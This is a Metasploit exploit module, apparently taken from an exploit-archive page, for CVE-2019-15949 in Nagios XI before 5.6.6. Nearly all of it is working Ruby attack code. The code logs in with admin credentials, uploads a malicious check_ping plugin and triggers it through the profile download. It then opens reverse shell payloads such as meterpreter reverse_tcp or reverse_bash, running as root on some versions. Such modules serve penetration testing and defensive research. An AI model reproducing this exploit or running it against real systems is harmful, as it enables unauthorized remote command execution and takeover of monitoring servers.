Share
## https://sploitus.com/exploit?id=PACKETSTORM:162158
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Module::Deprecated  
moved_from 'exploit/linux/http/nagios_xi_authenticated_rce'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the getprofile.sh script  
of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping  
plugin and thereby execute arbitrary commands.  
  
For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.  
For versions 5.5.0-5.6.5 the commands are run as root. Note that versions  
prior to 5.2.0 will still be marked as being vulnerable however this  
module does not presently support exploiting these targets.  
  
The module uploads a malicious check_ping plugin to the Nagios XI server via  
/admin/monitoringplugins.php and then executes this plugin by issuing  
a HTTP GET request to download a system profile from the server.  
For all supported targets except Linux (cmd), the module uses a command  
stager to write the exploit to the target via the malicious plugin.  
This may not work if Nagios XI is running in a restricted Unix environment,  
so in that case the target must be set to Linux (cmd). The module then  
writes the payload to the malicious plugin while avoiding commands  
that may not be supported.  
  
Valid credentials for a user with administrative privileges are  
required. This module was successfully tested on Nagios XI 5.3.0 and  
Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before  
5.5.0, it may take a significant amount of time for the payload to get  
back (up to 5 minutes). If exploitation fails against an older system,  
it is recommended to increase the WfsDelay setting (default is 300  
seconds). See the documentation for more information.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2019-15949'],  
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] # original PHP exploit  
],  
'Payload' => { 'BadChars' => "\x00" },  
'Targets' =>  
[  
[  
'Linux (x86)', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },  
'Payload' => {  
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails  
'BadChars' => '"'  
}  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2019-07-29',  
'DefaultOptions' => { 'WfsDelay' => 300 }, # Necessary because the payload connects back with a significant delay. On versions older than 5.5.0 it takes especially long.  
'DefaultTarget' => 1,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]  
}  
)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
def check  
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns  
# an array containing the http response body of a get request to index.php and the session cookies  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result  
return CheckCode::Unknown(install_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is still not fully installed  
return CheckCode::Detected('Failed to install Nagios XI on the target.')  
end  
end  
  
# when 5 is excluded from the case statement above to prevent having to use this code block twice.  
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.  
if login_result == 5 # the Nagios XI license agreement has not been signed  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return CheckCode::Unknown(sign_license_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3  
return CheckCode::Unknown(res_array[0])  
when 5 # the Nagios XI license agreement still has not been signed  
return CheckCode::Detected('Failed to sign the license agreement.')  
end  
end  
  
print_good('Successfully authenticated to Nagios XI')  
  
# Obtain the Nagios XI version  
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already  
  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}")  
# check if the target is actually vulnerable  
@version = Rex::Version.new(nagios_version)  
if @version < Rex::Version.new('5.6.6')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def grab_plugins_nsp  
# visit the plugins page to grab the nsp token required for uploading the payload  
res = send_request_cgi({  
'uri' => @monitoring_plugins_url,  
'method' => 'GET',  
'cookie' => @auth_cookies  
})  
  
unless res  
fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")  
end  
  
unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>')  
fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")  
end  
  
@nsp = get_nsp(res)  
  
if @nsp.blank?  
fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')  
end  
end  
  
def execute_command(cmd, _opts = {})  
print_status("Uploading malicious 'check_ping' plugin...")  
post_data = Rex::MIME::Message.new  
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="upload"')  
post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')  
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="MAX_FILE_SIZE"')  
post_data.add_part(cmd, 'text/plain', nil, 'form-data; name="uploadedfile"; filename="check_ping"')  
  
# upload payload  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => @monitoring_plugins_url,  
'cookie' => @auth_cookies,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
})  
  
unless res  
fail_with Failure::Unreachable, 'Upload failed'  
end  
  
unless res.code == 200 && res.body.include?('New plugin was installed successfully')  
fail_with Failure::Unknown, 'Failed to upload plugin.'  
end  
  
@plugin_installed = true  
end  
  
# This request will timeout. It has to, for the exploit to work.  
def execute_payload  
print_status('Executing plugin...')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),  
'method' => 'GET',  
'cookie' => @auth_cookies,  
'vars_get' => { 'cmd' => 'download' }  
}, 0)  
end  
  
def cleanup  
return unless @plugin_installed  
  
print_status("Deleting malicious 'check_ping' plugin...")  
res = send_request_cgi({  
'uri' => @monitoring_plugins_url,  
'method' => 'GET',  
'cookie' => @auth_cookies,  
'vars_get' => {  
'delete' => 'check_ping',  
'nsp' => @nsp  
}  
})  
  
unless res  
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")  
return  
end  
  
unless res.code == 200 && res.body.include?('Plugin deleted')  
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")  
return  
end  
  
print_good('Plugin deleted.')  
end  
  
def exploit  
@monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')  
grab_plugins_nsp  
wfsdelay = datastore['WfsDelay']  
  
if @version < Rex::Version.new('5.2.0')  
fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")  
end  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."  
else  
execute_cmdstager(background: true)  
message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."  
end  
if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')  
print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")  
end  
print_good('Successfully uploaded plugin.')  
execute_payload  
print_status(message)  
end  
end